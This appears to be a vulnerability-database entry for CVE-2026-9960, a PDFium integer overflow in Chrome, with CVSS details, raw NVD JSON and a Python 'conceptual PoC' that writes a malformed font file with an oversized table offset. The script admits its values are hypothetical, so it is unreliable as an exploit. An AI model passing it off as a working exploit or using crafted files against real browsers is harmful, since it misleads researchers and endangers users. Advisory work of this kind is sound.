Security Vulnerability Report
中文
CVE-2026-9960 CVSS 7.5 HIGH

CVE-2026-9960

Published: 2026-05-28 23:16:54
Last Modified: 2026-05-29 12:16:30

Description

Integer overflow in PDFium in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted font file. (Chromium security severity: High)

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # Conceptual PoC for CVE-2026-9960 # This script generates a crafted font file structure to trigger the integer overflow in PDFium. import struct def create_crafted_font(filename): # Minimal OTF/TTF header structure # SFNT version header = b'\x00\x01\x00\x00' # Number of tables (normal value), we might manipulate offsets to cause overflow num_tables = struct.pack('>H', 1) # Search range, entry selector, range shift (standard values) header += num_tables + b'\x00\x80\x00\x03\x00\x00' # Table Directory Entry # Tag: 'glyf' (glyph data) table_tag = b'glyf' # Checksum (dummy) checksum = b'\x00\x00\x00\x00' # Offset: Set to a value that might cause overflow during calculation in PDFium # This is a hypothetical offset value for demonstration offset = struct.pack('>I', 0xFFFFFFF0) # Length: Length of table data length = struct.pack('>I', 0x00000010) table_entry = table_tag + checksum + offset + length with open(filename, 'wb') as f: f.write(header + table_entry) # Write dummy glyph data at the end to complete the file structure f.write(b'\x00' * 0x10) print(f"[+] Crafted font file saved to {filename}") if __name__ == "__main__": create_crafted_font("crafted_font.otf")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9960", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:54.213", "lastModified": "2026-05-29T12:16:29.710", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in PDFium in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted font file. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/504573260", "source": "[email protected]"}]}}